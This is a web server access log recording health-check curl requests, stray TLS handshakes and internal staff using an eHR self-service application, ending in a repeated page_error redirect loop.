100.64.0.1 - - [04/Sep/2025:06:46:27 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:30 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:46:30 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Linux; Android 10; HUAWEI P30 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:30 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478
100.64.0.1 - - [04/Sep/2025:06:46:30 +0800] "GET /Apache%20Software%20Foundation/ HTTP/1.1" 200 478 "-" "Mozilla/5.0 (Linux; Android 11; V2055A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:06:46:33 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:06:47:13 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:47:13 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:06:51:40 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:06:51:40 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:06:50 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:06:50 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:08:59 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:08:59 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:17:22 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:17:22 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:17:40 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:07:17:40 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:07:17:40 +0800] "\x16\x03\x01" 501 205
100.64.0.1 - - [04/Sep/2025:07:17:40 +0800] "\x16\x03\x01" 501 205 "-" "-"
100.64.0.1 - - [04/Sep/2025:07:19:23 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:19:23 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:42:16 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:42:16 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:46:51 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:46:51 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:47:04 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:47:04 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:07:47:43 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:07:47:43 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:07:49 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:08:07:49 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:08:12:07 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:08:12:07 +0800] "GET / HTTP/1.1" 200 439
192.168.40.91 - - [04/Sep/2025:08:18:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:18:20 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.40.91 - - [04/Sep/2025:08:18:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:18:32 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:18:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206
192.168.40.91 - - [04/Sep/2025:08:18:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:18:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339
192.168.40.91 - - [04/Sep/2025:08:18:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10339 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.48 - - [04/Sep/2025:08:18:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:08:18:45 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826
192.168.40.48 - - [04/Sep/2025:08:18:48 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:08:18:48 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.40.48 - - [04/Sep/2025:08:18:48 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217
192.168.40.48 - - [04/Sep/2025:08:18:48 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.48 - - [04/Sep/2025:08:18:49 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.40.48 - - [04/Sep/2025:08:18:49 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36 Edg/139.0.0.0"
192.168.40.91 - - [04/Sep/2025:08:22:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11613 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:22:52 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 11613
192.168.40.91 - - [04/Sep/2025:08:23:01 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:01 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131058%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131058&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D131058%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131058&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:01 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:02 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:03 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.40.91 - - [04/Sep/2025:08:23:04 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
